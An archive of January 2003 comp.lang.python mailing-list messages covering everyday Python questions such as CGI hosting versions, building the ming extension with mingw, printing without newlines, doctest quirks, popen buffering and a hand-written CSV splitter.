Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"I used to have a .sig but I found it impossible to please everyone..."  --SFJ



From hwlgw at hotmail.com  Sat Jan 18 11:09:19 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 18 Jan 2003 08:09:19 -0800
Subject: ISP Python versions
Message-ID: <cb035744.0301180809.3aa77e04@posting.google.com>

My Internet Service Provider (ISP) has Python 1.5.2, so I have to do
all CGI scripting in Python 1.5.2.  They do *not* want to upgrade the
Python version and they do not want to talk about it anymore, so I am
looking for another ISP.  They do not listen to me because I am not
important.  But at least they have shell access and CGI and Python.

The purpose of this posting is to collect a list of ISPs without
Python or with very old versions.  And especially collecting a list of
"important" people who could persuade the ISPs to do something about
it.  Are there any important people out here on comp.lang.python? 
After the list grows we could put it somewhere "important" on the
internet.

What amazes me is that python is at
http://sourceforge.net/projects/python and sourceforge has python 1.5
installed for your CGI scripting.  I could send an email about this
but guess what.  Can one of the more well known Python core dev people
do something about that?  Ask them politely?

Add your ISP to the list below and maybe we can do something about
these situations?

<pre>

                                    Influential people there
Python CGI version  ISP             who like Python
------------------  --------------  ----------------------------------

None                AOL             ? (not me)
1.5                 sourceforge     Guido van Rossum?  Tim Peters?
                                    Eric Raymond?  Larry Wall?

</pre>

'''
Work without a vision is slavery,
Vision without work is a pipe dream,
But vision with work is the hope of the world.
'''



From skip at pobox.com  Wed Jan 29 19:20:41 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 29 Jan 2003 18:20:41 -0600
Subject: int('0.0') throws an exception
In-Reply-To: <37bc2c.0301291602.7f6c6c4f@posting.google.com>
References: <37bc2c.0301291602.7f6c6c4f@posting.google.com>
Message-ID: <15928.28633.563110.194746@montanaro.dyndns.org>

    Ragu> int('0') and int(0.0) are OK but int('0.0') throws an Exception?

Because '0.0' is not a string representing an int.  It's a string
representing a float.

S




From judoscript at hotmail.com  Fri Jan 10 00:22:04 2003
From: judoscript at hotmail.com (James Huang)
Date: 9 Jan 2003 21:22:04 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com> <mailman.1042039696.8976.python-list@python.org> <52719db8.0301082259.535824a4@posting.google.com> <1042135695.8954.0@dyke.uk.clara.net>
Message-ID: <52719db8.0301092122.1c368a1e@posting.google.com>

"Steve Hunt" <steve at pSoPgAgMle.org> wrote in message news:<1042135695.8954.0 at dyke.uk.clara.net>...
> > is to do things easily, intuitively, obviously, and accurately, so
> > much so that when another person (with the same domain knowledge) sees
> > a chunk of code, he immediately understands it without even a hint of
> > reasoning (ideally).
> 
> A lot of people would take issue with that definition.  But ignoring
> that, it puzzles me why you feel that introducing domain-specific
> syntax *helps* with code readability.  

Readability is not much of an issue; statements are terminated
regularly so people know where to start and where to end.

The issue is focus. Of course I have to talk about Java and Java
scripting. Take that e-mail example again, regular Java scripting
languages can use classes in javax.mail.* package to assemble an email
message before sending it out. If I am not familiar with that
particular package, or worse, I am not even aware what "multi-part"
is, how do I send a message with attachments??? I have a lot to learn
before I can do anything even though I can still program in general.
With a sendMail statement/command, anyone can do it. That is, the user
focus exactly on what you are doing, not the (implementational)
details. And this happens to be a very good example of my definition
of "scripting".

> At least with the
> traditional system of fixed language syntax and domain-specific
> APIs you don't have to be constantly on the lookout for new
> syntax gotchas.

Again, that should be the difference of scripting (using) vs
programming (making software). I agree with you for the programming
situation and I do appreciate that, but I am talking about scripting.

I actually recommend NOT to use JudoScript to create large software;
if one needs to, should write in Java then use JS to glue it.

> 
> -- Steve



From gerhard.haering at opus-gmbh.net  Wed Jan 29 11:04:13 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 29 Jan 2003 16:04:13 GMT
Subject: migc.pyd please help me!
References: <d2810a8.0301290215.68c39ee3@posting.google.com>
Message-ID: <slrnb3fup4.1d4.gerhard.haering@haering.opus-gmbh.net>

nightdriver <nightdriver at bolt.com> wrote:
> I repost because no one reply to me.

Ok, to stop you asking ...

> Hi there,
> i am in search of a mingc.pyd for the latest windows release of phyton
> anybody can point me to url that contain this (or send it to me).
> 
> Please help me i've searched to compile the module by myself but under
> windows compile with gcc/mingw32 is UGLY.

Don't you insult my mingw!!!1 In fact, this is quite easy if you RTFM for
distutils. No, you don't need to mess with the ming Makefiles *at all*.

And no, I won't just build a binary and send it to you, because that hasn't
much pedagogic value :-P

So here it goes:

Prerequisites: you've installed mingw toolchain and built the import library
for Python [1].

1) Download and unzip the ming [2] sources
2) cd into src/ and do a "make static"
3) copy the following distutils setup.py file into py_ext/

#----------------8<----------------------------------------------------
from distutils.core import setup
from distutils.extension import Extension

setup ( name = "ming",
        version = "0.2a",
        description = "A library for creating Shockwave files.",
        py_modules = ["ming"],
        ext_modules = [Extension( name='mingc',
                                  sources=['ming_wrap.c'],
                                  include_dirs=[".."],
                                  library_dirs=["../src"],
                                  libraries=["ming"]
                                  )]
        )
#----------------8<----------------------------------------------------

4) cd into py_ext/ and issue "python setup.py build --compiler=mingw32"

5) if you want to create an installer, issue "python setup.py bdist_wininst"

Now you have a Windows installer for the Python ming wrapper under dist. The
whole thing took me about five minutes, but I confess this isn't the first
setup.py I hacked.

But if you want to create a Python extension, crafting your own setup.py is
always easier than messing with Makefiles.

Anyways, in exchange, could you polish this setup.py a little (add copyright,
author, author_email and so on fields) and send a patch to the ming maintainer?
I myself can't be bothered any longer with this because I don't use ming and am
not at all interested in Shockwave, Flash and their likes.

building-ming-with-mingw-ly yours,

Gerhard

[1] http://www.python.org/doc/current/inst/non-ms-compilers.html
[2] http://ming.sf.net/



From martin at v.loewis.de  Sun Jan 19 06:23:30 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 19 Jan 2003 12:23:30 +0100
Subject: 2.3 a1 True/False bug in tkinter?
References: <9GkW9.147257$Hs2.12753686@kent.svc.tds.net>
Message-ID: <m33cnpwfgt.fsf@mira.informatik.hu-berlin.de>

"Edward K. Ream" <edream at tds.net> writes:

> Should this be considered a problem with Python or tkinter?  

Yes. Can you come up with a small example, and post it as a bug report
to SourceForge?

Regards,
Martin




From jwm-python at sentinelchicken.net  Sat Jan 25 11:35:42 2003
From: jwm-python at sentinelchicken.net (Jason Morgan)
Date: Sat, 25 Jan 2003 11:35:42 -0500
Subject: Printing repeatedly on same line
In-Reply-To: <oprjkddpx98cxiwf@news1.on.sympatico.ca>
References: <mailman.1043508704.13358.python-list@python.org> <3e32b8eb$0$156$65c69314@mercury.nildram.net> <oprjkddpx98cxiwf@news1.on.sympatico.ca>
Message-ID: <20030125163542.GA7778@sentinelchicken.net>

Thanks, that was too easy.

Jason


On Sat, Jan 25, 2003 at 11:28:27AM -0500, Markus Wankus wrote:
> Using sys.stdout.write() will work if you do not add your own '\n' to the 
> end of it.
> 
> Otherwise, add a *comma* to th eprint statement, liek so:
> 
> print "Crap",
> 
> Markus.
> 
> On Sat, 25 Jan 2003 16:18:50 -0000, Andrew Wilkinson 
> <ajw126NO at SPAMyork.ac.uk> wrote:
> 
> >Jason Morgan wrote:
> >>How do I print (stdout) to the same line repeatedly? I want to offer a
> >>status bar for a script. I have tried the following:
> >>
> >>def statprint(s):  # s is a string
> >>import sys
> >>sys.stdout.write(s+" "*(78-len(s))+"\r")
> >>
> >>I got this from this ASPN page:
> >>
> >>http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146038
> >>
> >>which seemed to be refering to Windows (I'm writing for Linux/*BSD). I
> >>have tried the above function, but it prints in the same manner as
> >>'print' does.
> >>
> >>
> >>Thanks for the help in advance.
> >>
> >>Cheers,
> >>Jason
> >
> >Try just adding a semicolon at the end of the print statement.
> >For example
> >
> >print 1,
> >print 2
> >
> >will give you
> >1 2
> >
> >HTH,
> >Andrew Wilkinson
> -- 
> http://mail.python.org/mailman/listinfo/python-list




From rburgess1 at hvc.rr.com  Fri Jan 10 17:13:40 2003
From: rburgess1 at hvc.rr.com (Randy Burgess)
Date: Fri, 10 Jan 2003 22:13:40 GMT
Subject: Problems with Python running improperly in CGI scripts?!? (Help!)
Message-ID: <oAHT9.129634$eq2.27781795@twister.nyroc.rr.com>

I am having an acute crisis with a CGI script-driven site I coded to run on
part of my overall Web site, which is hosted by Hostway (www.hostway.com).

Hostway only runs Python 1.5.1, but I got as close as I could in my
development environment by installing 1.5.2 and coding against that. The
scripts I developed ran fine after uploading to Hostway's unix server for
several days. Then, this morning, three of the scripts (each script = a
page) began bombing out, refusing to honor a very simple conditional that is
identical in all three.

When I checked I found the condition is being found not true because a
string value that should be getting stripped is *not* getting stripped. When
I test outside the pages - whether at the command line via SSH or in a test
page launched as a CGI script - string.strip works correctly. But inside the
page (which is rather more complex) it either blows up entirely, killing the
rest of the script, or else fails to strip at all.

Given that the pages worked absolutely fine for several days, and that I
haven't changed anything, I am guessing something has gone wrong with Python
itself - even though small tests work OK. I have e-mailed Hostway support
but they haven't gotten back to me.

Has anyone heard of anything like this happening with Python CGI scripts,
and with some scripts but not others? I know that when I run the Python
interpreter locally via IDLE, it's possible for it to get confused and need
restarting to process scripts properly - but I would have thought a
CGI-driven copy of Python would be immune to this. It's really bothering me,
in part because the site is one I set up for several important clients, who
now cannot use it.

thanks,
Randy Burgess









From richie at entrian.com  Thu Jan  2 06:56:51 2003
From: richie at entrian.com (Richie Hindle)
Date: 2 Jan 2003 03:56:51 -0800
Subject: Simple encryption proposal. Comments ?
References: <BOMP9.5093$CG6.90311@news4.e.nsc.no> <mailman.1041211955.22409.python-list@python.org> <aZYP9.5185$CG6.93090@news4.e.nsc.no> <7xptrj8rr5.fsf@ruckus.brouhaha.com> <aurvdu$sqe$0@216.39.172.122>
Message-ID: <8a6ba1da.0301020356.7916bc80@posting.google.com>

[Bengt]
> Re encoding (not encrypting) binary, I've used a base52 encoding to
> guarantee only [A-Za-z] characters in the encoded string

Is your base52 code (or *any* such code) available anywhere?  Googling for
"python base52" didn't turn anything up.

-- 
Richie Hindle
richie at entrian.com



From tdelaney at avaya.com  Sun Jan  5 23:12:36 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Mon, 6 Jan 2003 15:12:36 +1100 
Subject: HELP! Must choose language!
Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A80B@natasha.auslabs.avaya.com>

> From: Grant Edwards [mailto:grante at visi.com]
> 
> That would be an interesting approach.  I think everybody should learn
> PDP-11 assembly and look at the instruction set at the 
> machine level.  It
> was a beautiful design.

The Nova 2 (also a descendent of the PDP-8) was a much nicer design than the
PDP-11. Very consistent.

> > I'm even hoping to teach a class that way...
> 
> I wonder if you could find a PDP-11 simulator and assembler 
> somewhere...

I wrote as a group final-year uni project some time ago a Nova 2 simulator
called "Satori" (named after "Nova Satori" in Robotech: The Robotech Masters
;) I even wrote an assembler for it.

Front panel with usable switches, teletype, tape reader and puncher, the
works. Fun stuff. Written in C on the Mac.

My recommendation for a high-schooler wishing to learn programming is to
definitely go with Python. Even if you never use the language later in life
(which I doubt) it is an excellent language for learning many of the
important concepts and disciplines required in programming. It is also a
language which you can grow with as you learn other languages and see how to
apply different concepts. In particular, I often prototype things in Python
as a way to gather my thoughts before sitting down and properly designing
something, independent of which language the final product will be written
in.

Tim Delaney




From max at alcyone.com  Thu Jan  9 01:28:38 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 08 Jan 2003 22:28:38 -0800
Subject: Confusion about numbers
References: <jr2q1vspelp0ddbi665rsodokmk4fvsbal@4ax.com>
Message-ID: <3E1D1696.1A02C95F@alcyone.com>

Tim Roberts wrote:

> I thought the special status of "long" numbers had gone by the
> wayside, so
> that all integers were the same, but clearly I was mistaken:

The plan is to make the transition between ints, longs, and floats (and
perhaps rationals, should they come along) more natural; that doesn't
mean they're all the same thing:

Python 2.2.2 (#2, Oct 14 2002, 17:32:20) 
[GCC egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> type(1)
<type 'int'>
>>> type(1L)
<type 'long'>
>>> type(1.0)
<type 'float'>

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ All bad poetry springs from genuine feeling.
\__/ Oscar Wilde
    Bosskey.net: Counter-Strike / http://www.bosskey.net/cs/
 A personal guide to Counter-Strike.



From p-abel at t-online.de  Sat Jan 25 08:39:00 2003
From: p-abel at t-online.de (Peter Abel)
Date: 25 Jan 2003 05:39:00 -0800
Subject: Life cycle of a mod_python application and scope of global variables
References: <gmv23v0636f5lnod5efh7emoi4uao9275o@4ax.com> <50f33vofevm3og4bp1ji85atd22bqduv11@4ax.com>
Message-ID: <13a533e8.0301250539.169c7d9c@posting.google.com>

Kyle Yancey <lakeofburningfire at kyle.orgdon'tspamme> wrote in message news:<50f33vofevm3og4bp1ji85atd22bqduv11 at 4ax.com>...
> Okay.  Now I feel silly.  It doesn't seem to work.  I tested the
> following script, and I got an error.
> 
> #!/usr/bin/env python
> from mod_python import apache
> i = 1
> def handler(req):
     # insert here
     global i
     # and it will work
>    req.content_type = "text/html" 
>    req.send_http_header()
>    if i:
>        req.write("Hello World!")
>    i = 0
>    return apache.OK
> 
> The error was local variable referenced before assignment.
> The faq says that this should display the behavior I described.
> http://www.modpython.org/FAQ/faqw.py?req=show&file=faq03.005.htp
> I hope I haven't wasted anyones time.  Apologies if I made a mistake.
> This is my first usenet post.

Peter



From lac at strakt.com  Tue Jan 28 21:11:18 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 29 Jan 2003 03:11:18 +0100
Subject: Python vs. C++ Builder - speed of development 
In-Reply-To: Message from "Brandon J. Van Every" <vanevery@3dprogrammer.com> 
   of "Tue, 28 Jan 2003 16:31:55 PST." <000101c2c72d$d4545eb0$0100a8c0@vangogh> 
References: <000101c2c72d$d4545eb0$0100a8c0@vangogh> 
Message-ID: <200301290211.h0T2BIjL024246@ratthing-b246.strakt.com>

> Laura, I'm not sure if you've moved this discussion offline... maybe
> "away from the newsgroup" is accurate.  Anyways...

I haven't.  I just read python-list as a mailing list, so when I reply
you get a mail, also cc'd to the list.  That then goes to the gateway.
If you want only to get the gatewayed version, let me know, I have
a config file which strips the people who 'only want it as news'
from my mailings as they go out.

> 
> > From: Laura Creighton [mailto:lac at strakt.com]
> >
> > Last  C++ job I had paid roughly $400 Euros an hour.  And the reason
> > they paid me this was because indeed, it was as onerous as I made it
> > sound.  This is what I was paid to do all day long.
> >
> > You need to get over your notion that there cannot exist a person who
> > is excellent at something and who hates it at the same time.
> 
> But your comparision regarding C++ usability is utterly unfair.  You got
> paid an exhorbitant amount of money to tackle really godawful C++
> problems in a corporate dysfunctional environment.  

Actually, extremely well discplined military environment.  But I have
worked in the other sort as well.

> That is quite beyond
> any language issue.  To say that C++ RAD-IDE would "never" help anyone
> based on your extreme case use is grossly misleading.  

You need to go read the original post again.  His question was,
IF I GET A REALLY cool C++ RAD-IDE, which promises me the moon  in
speedup and rapid development, will it be as fast as developing in
Python.  He wants to know under what circumstances can you develop
as fast in C++ and a RAD-IDE as you can in a language that is good
for rapid development.

And I say, again, never.  Because if you have to walk 10 kilometers
to the road and then get in a Volvo to drive 10 minutes to the beach,
it isn't going to matter if somebody says, 'use my Ferrari instead'.
The place you are spending your time when you are developing in C++
isn't in cranking out the lines of code.  Unless you happen to have
a problem in the rare problem domain where C++ is the best suited language
for solving the problem, then trying to solve it in some language
that is better suited for rapid development will always be faster,
no matter how turbo-charged your C++ IDE is.

> A solo programmer
> or a small team that knows how to "fly in formation" doesn't have your
> corporate $400/hour idiocy problems to contend with.

And when we formed AB Strakt, one thing we agreed on was that we were
NOT going to develop in C++. We were that killer team, and we could
pick whatever language we chose.  It wasn't C++, the language that all
of us were experienced with, and some of us were superbly experienced
with.  We knew all of the strengths of C++.  And, moreover, we knew
that we could get so much more work done if we picked a faster
language than C++ to develop in.  We picked Python even though we had
to first learn the language from nothing but the online docs and
tutorials at python.org.  We had never used it before.  We just had it
recommended to us as _the_ rapid development language.  This was
good advice.  It was _still_ faster than developing in C++.   And
when some people got impatient with that, we went and spent the money
on Wing	IDE.  If IDEs speed you up, Wing IDE will speed you up with
Python.

Laura Creighton

> Cheers,                         www.3DProgrammer.com
> Brandon Van Every               Seattle, WA
> 
> 20% of the world is real.
> 80% is gobbledygook we make up inside our own heads.




From vanevery at 3DProgrammer.com  Fri Jan 31 18:35:16 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Fri, 31 Jan 2003 23:35:16 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it> <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net> <8bbd9ac3.0301302140.6938685c@posting.google.com> <oPr_9.108013$0v.3123750@news1.tin.it> <mailman.1044029142.17081.python-list@python.org> <yyyhebpkyjd.fsf@adams.patriot.net>
Message-ID: <UKD_9.891$ek4.88882@newsread2.prod.itd.earthlink.net>

Nick Vargish wrote:
>>> In theory, theory is preferable, but, in practice, I'd prefer
>>> practice. +1 QOTW
>
> What about:
>
>     "The difference between theory and practice is larger in practice
>      than in theory."

I like the symmetry of it.  Pragmatists will say that it's a knock on
theory, but if you read carefully, it's just as valid a statement from the
theorist's point of view!  In other words, the pragmatists make too much of
the practical concerns.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From johnroth at ameritech.net  Tue Jan 21 15:20:41 2003
From: johnroth at ameritech.net (John Roth)
Date: Tue, 21 Jan 2003 15:20:41 -0500
Subject: Pywin print w/o linefeed?
References: <b0k9e9$f5q$1@news.efn.org>
Message-ID: <v2raqnhoetnv13@news.supernews.com>

"Spencer Ernest Doidge" <spencer at efn.org> wrote in message
news:b0k9e9$f5q$1 at news.efn.org...
> Running Pythonwin, you get:
>
> >>> def go():
>         print 'hello world'
>         print 'goodbye world'
>
> >>> go()
> hello world
> goodbye world
>
> Is there some way to make Python print a string without the linefeed
> at the end? If there were <some instruction> to do that, then I could
> do this:
>
> >>> def go():
>         <some instruction> 'hello world'
>         <some instruction> 'goodbye world'
>
> >>> go()
> hello worldgoodbye world
>
> I know that I could accumulate a string and then make one print
statement,
> but is there some other way? For those who remember Pascal, WRITELN
corresponds
> to Python's print. Is there a Python way to implement the equivalent
of Pascal'sWRITE?

import sys
sys.stdout.write("hello world")
sys.stdout.write("goodby world\n")

The print statement is intended for human readable output such as
debugging
lines, hence the newline that's automatically inserted at the end.

John Roth
>
>
>
> --
> Spencer Doidge





From mark.charsley at REMOVE_THIS.radioscape.com  Thu Jan 30 14:07:00 2003
From: mark.charsley at REMOVE_THIS.radioscape.com (Mark Charsley)
Date: Thu, 30 Jan 2003 19:07 +0000 (GMT Standard Time)
Subject: HOWTO : Py_CompileString !?!?!
References: <OXa_9.4120$nD1.943639@news20.bellglobal.com>
Message-ID: <memo.20030130190756.116A@a.radioscape.com>

In article <OXa_9.4120$nD1.943639 at news20.bellglobal.com>, 
acid_til at yahoo.com (Luc) wrote:

> >>I'm trying to embed python in my C++ application. I have a python 
> source >>file names test.py and what I want to do is first try to 
> compile it to >>see if any syntax error or import error occurs.

> Here is the script in question :
> 
> import FOMath
> #FOMath has a method called PointValue()
> def test():
> 	print FOMath.PointdddValue()
> 
> test()
> 
> This should't compile because a syntax error is present...

There isn't a syntax error I can see. Until you run the string, python 
doesn't know that FOMath hasn't had a function called PointdddValue added 
to it. 

Now if you left out the colon in "def test():", that _would_ be a syntax 
error, and Py_CompileString would return NULL.

> 
> The way I compile the code from C++ is done like so :
> 
> //str contains the file that just loaded...
> Py_CompileString((char*)str.c_str(), "<test.py>", Py_file_input);

That looks about right.

HTH

Mark



From martin at v.loewis.de  Mon Jan  6 13:31:09 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 06 Jan 2003 19:31:09 +0100
Subject: Why is xml.dom.minidom so slow?
References: <mailman.1041875152.6920.python-list@python.org>
Message-ID: <m3hecmw2oi.fsf@mira.informatik.hu-berlin.de>

"Bjorn Pettersen" <BPettersen at NAREX.com> writes:

> Quick question... I've got benchmark results for most of the
> options, but I haven't been able to track down cDomlette yet (google
> didn't turn up any obvious links). Does anyone know where I can
> download it (and the documentation :-) I'll post my benchmarks in a
> couple of days...

It's part for 4Suite, www.4Suite.org. If you download the 4Suite beta
(which you should), it is in Ft.Lib.cDomlette. You can find usage
examples in

http://uche.ogbuji.net:8080/uche.ogbuji.net/tech/akara/pyxml/domlettes

Regards,
Martin




From tim.one at comcast.net  Tue Jan 14 22:38:01 2003
From: tim.one at comcast.net (Tim Peters)
Date: Tue, 14 Jan 2003 22:38:01 -0500
Subject: bug in doctest?
In-Reply-To: <yfswul77ovz.fsf@black132.ex.ac.uk>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEJMDIAB.tim.one@comcast.net>

[Alexander Schmolck]
> I ran into what I believe to be a bug in doctest and cost me
> quite a bit of time.

That's why it's called "a bug" <wink>.

> Isn't doctest meant to work pretty much with unmodified
> interactive session output (where that does make sense)?

It's a good start.  I instinctively edit out the ugly bits from interactive
shell sessions, though, so probably never tried a case like yours.

> I doesn't seem to treat comments correctly:
>
>    import doctest, test
>    def aTest():
>        r""">>> # A comment
>            ... print 'This is incorrectly ignored by doctest'
>            This output here really doesn't matter either... (but SHOULD)
>            >>>
>            """
>    doctest.testmod(test)

That does suck.  OTOH, why on Earth would you put a comment all by itself on
a PS1 line?  That's an unnatural use of the interactive shell.

> Doesn't produce any error. The print line and the (wrong) output
> following it are just ignored.

In fact, the code in _extract_examples() is still looking for "a real" PS1
line, and will ignore everything until it finds another line starting with
">>>".  It eventually finds your final

    >>>

line and ignores that too (because it's blank except for the ">>>").

> Changing '...' to '>>>' after the comment solves the problem,

Yes.  So would pasting in a "typical" interactive session and adding
comments as plain text afterwards, like

    A comment, or a paragraph of comments, or a rant about
    how stupid doctest is for not liking it if this comment
    block starts with PS1 markers.
    >>> print "This is incorrectly ignored by doctest"
    No it isn't.

> but that means editing the interactive session output.

Yes.  If you can come up with a patch that fixes your example without
breaking anything else (with fair warning that it will be tricky to do so --
in particular, doctest.py itself contains a doctest that's likely to break
if you change anything in this area), I'll integrate it.  Else, if you still
care <wink>, open a bug report on SourceForge.

> Also, wouldn't it be a good idea to (at least optionally) ignore memory
> adresses in instance repr's that follow the pattern:
>
>    <foo.Bar instance at 0x80d7624>

No:  doctest promises WYSIWYG.  For doc purposes, examples with embedded
addresses suck, precisely because they're not what the doc reader is going
to see when they try the example -- and the first word in doctest is still
"doc".  If foo is a new-style class,

    >>> type(foo.Bar())
    <class 'foo.Bar'>

is a better example.  doctest is primarly intended to help make docstrings
better (examples cab help a lot, but examples that don't work exactly as
advertised are going to confuse people), and that requires real effort on
the docstring author's part.  unittest, OTOH, will let you write tests that
pass no matter how badly things get broken <wink>.





From laocoon at eudoramail.com  Fri Jan 17 08:45:58 2003
From: laocoon at eudoramail.com (Lao Coon)
Date: Fri, 17 Jan 2003 14:45:58 +0100
Subject: help!! getting output from another process line by line, using popen
References: <b08ka1$q8l8@imsp212.netvigator.com>
Message-ID: <Xns9306963ED78FFLaocoon@62.153.159.134>

cout <cout at netvigator.com> wrote in news:b08ka1$q8l8 at imsp212.netvigator.com:

> Help!!
> 
> There are 2 python scripts, one is to print out the output(output.py),
> the other is supposed to get std output from output.py line by line.
> However, it only get all the result after 40 seconds. Not during the
> executing process. Any ideas?
> 
> ===========output.py==============
> #! /usr/bin/python
> 
> import time
> 
> for i in range(1,20,1):
>          print i
>          time.sleep(2)
> 
> ================monitor.py===============
> #! /usr/bin/python
> 
> import os
> import sys, string
> cmd="python output.py"
> 
> handle = os.popen(cmd, 'r', 1)
> for line in handle:
>      print line,
> handle.close()

This has something to do with the way the output is returned here..
When you say "for line in handle" read() is called, it waits
until everything has been received and then returns it as a list(only once). 
To fix it explicitly call readline() instead.

HTH
Lao



From grante at visi.com  Fri Jan 31 11:54:44 2003
From: grante at visi.com (Grant Edwards)
Date: 31 Jan 2003 16:54:44 GMT
Subject: Python Success Stories or Nightmares
References: <mailman.1043967059.7713.python-list@python.org>
Message-ID: <3e3aaa54$0$206$a1866201@newsreader.visi.com>

In article <mailman.1043967059.7713.python-list at python.org>, Mongryong wrote:

> Let's hear people's success stories with Python and why they did the
> switch.

I didn't "switch" I just added Python to the toolbox.  The only
mail access where I work is through MS Outlook (no POP, no
IMAP).  I needed a way to suck e-mail out of Outlook.  I didn't
have a C compiler for MS (and don't particularly like C for app
development).  I found an article on useing Python to drive COM
interfaces under Win32.  A week later, I had a Python app that
transferred my e-mail from Outlook to the SMTP server on my
Unix box.

Since then I've written dozens of apps in Python ranging from a
dozen or two lines to a thousand or two lines.  Some are text
mode that decode test data.  Many are test programs that drive
serial ports. One is Tk app that's used for configurating a
Linux device driver (similar to something like RH's printtool).
Another uses wxWindows and is used to update the firmware in a
thin-server product (the updater runs on Windows or Linux).

Python is by far the most productive language I've tried.  

And I've tried dozens.

-- 
Grant Edwards                   grante             Yow!  BRILL CREAM is
                                  at               CREAM O' WHEAT in another
                               visi.com            DIMENSION...



From nobody at nowhere.com  Sun Jan 26 10:50:57 2003
From: nobody at nowhere.com (Grumfish)
Date: Sun, 26 Jan 2003 15:50:57 GMT
Subject: Learning to use threads.
In-Reply-To: <mailman.1043539606.7602.python-list@python.org>
References: <0bFY9.9226$ZA1.2287565@twister.nyroc.rr.com> <mailman.1043539606.7602.python-list@python.org>
Message-ID: <BtTY9.13607$7A4.2781037@twister.nyroc.rr.com>

Thank you. A follow up question: is it safe to call a custom method of a 
running Thread?




From maney at pobox.com  Thu Jan 16 10:44:52 2003
From: maney at pobox.com (maney at pobox.com)
Date: Thu, 16 Jan 2003 15:44:52 +0000 (UTC)
Subject: slow loop?
References: <1964c4d7.0301130842.2f693958@posting.google.com> <pIFU9.30525$aG4.1599274@twister.austin.rr.com>
Message-ID: <b06k1k$art$2@wheel2.two14.net>

Brandon Beck <bbeck at nospam.austin.rr.com> wrote:
> Seems like you're trying to write a CSV parser.  If so, I strongly 
> suggest you get the Object Craft CSV module.  It handles all of the 

OTOH, if you want a Python implementation for basic CSV, here's what I
did after finding the one (several?) pure-Python version(s) listed in
the Vaults had glitches.  The performance is good enough that on a
P2/233 that it doesn't annoy me when processing a file with about 7000
rather long lines (150 or so characters, two dozen or so fields).  I
have nothing against fast C implementations, but sometimes you want to
be able to share the program with others without requiring them to muck
about with installing other stuff.

It's designed to be used in what seems like an obvious way despite my
previous work having used a parse that wanted to massage the entire
input file at once (to be fair, it was trying to guess the style of
CSV-like thing you had, and generally did a fair job of it):

import csv

for l in someFile.xreadlines():
    fields = csv.split(l)
    ...



# $Id: csv.py,v 1.3 2003/01/13 21:00:28 maney Exp $

#import string
#import re

import exceptions

class CSVError(exceptions.Exception):
    pass


def split(s):
    """\
    Split the argument string s into a list of strings, one element for each
    CSV-formatted field in s.  This simple version recognizes only
    comma-separated fields with double-quotes as optional delimiters; the
    usual hack of using '""' within a quoted field as an escaped double-
    quote is supported.  The input string may include a terminating newline,
    but it need not do so.

    On error, a CSVError exception is raised.  It carries three strings
    with it: a description of the error, the portion of the input string
    that has been processed successfully, and the unprocessed tail that
    contains the error.
    """
    res = []
    i = 0
    start = i
    end = i
    n = len(s)
    if n > 0 and s[-1] == '\n':
        n = n - 1

    while 1:
        #
        # the current character is the start of a field; either a quoted field.
        #
        if i < n and s[i] == '"':
            i += 1
            start = i                               # start is first data char
            end = -1                                # end < start: not found ye
            while i < n:
                j = s.find('"', i)
                if j < 0:                           # oops, no quote found
                    break
                if j + 1 < n and s[j + 1] == '"':   # doubled quote: pass it
                    i = j + 2
                else:                               # must be the closing quote
                    i = j + 1
                    end = j
                    break  
            if end < start:
                raise CSVError('ill-formed field: no closing quote', s[:start-1
            field = '"'.join(s[start:end].split('""'))
        #
        # ... or an unquoted field
        #
        else:
            start = i
            j = s.find(',', i)
            if j >= 0:
                i = j
            else:
                i = n
            field = s[start:i]
        #
        # append field to result list, see if there's another to parse
        #
        res.append(field)

        if n <= i:
            break

        if s[i] == ',':
            i += 1   
        elif i < n:
            raise CSVError('ill-formed line: start of field not found', s[:i],

    return res




From sasDOTepsylon at wanadoo.fr  Sat Jan  4 15:49:46 2003
From: sasDOTepsylon at wanadoo.fr (EpSyLOn)
Date: Sat, 04 Jan 2003 21:49:46 +0100
Subject: Newbie question on Re module
References: <Xns92F5826AE2F65jslmAAearthlinknet@130.133.1.4>	 <cc197b7b.0301040224.554869e7@posting.google.com> <mailman.1041678186.20077.python-list@python.org> <3E17002B.8E67641E@pobox.com> <mailman.1041706928.10512.python-list@python.org>
Message-ID: <e6ie1vsp53rudpmu3rbinuuvmi14i409bp@4ax.com>

On Sun, 05 Jan 2003 08:00:28 +1300, Andrew McGregor
<andrew at indranet.co.nz> wrote:

>Ah nuts, that should be str.index

No no no :-)
it's str.find()
--                             ___
                              |   |    \|/
  sas.epsylon<at>wanadoo.fr   |   |   (o -)
  ______ ______ ~_S_A_S_~   _ |   |ooO_(_)_Ooo
 /  __  Y      \/ ____/  \/  !'   |/    \     \
|   ____/ |__>  |____ \  `   |    |_ O   | ^   |
 \_____/|   ___/______X_    Y_______|___/__||__|
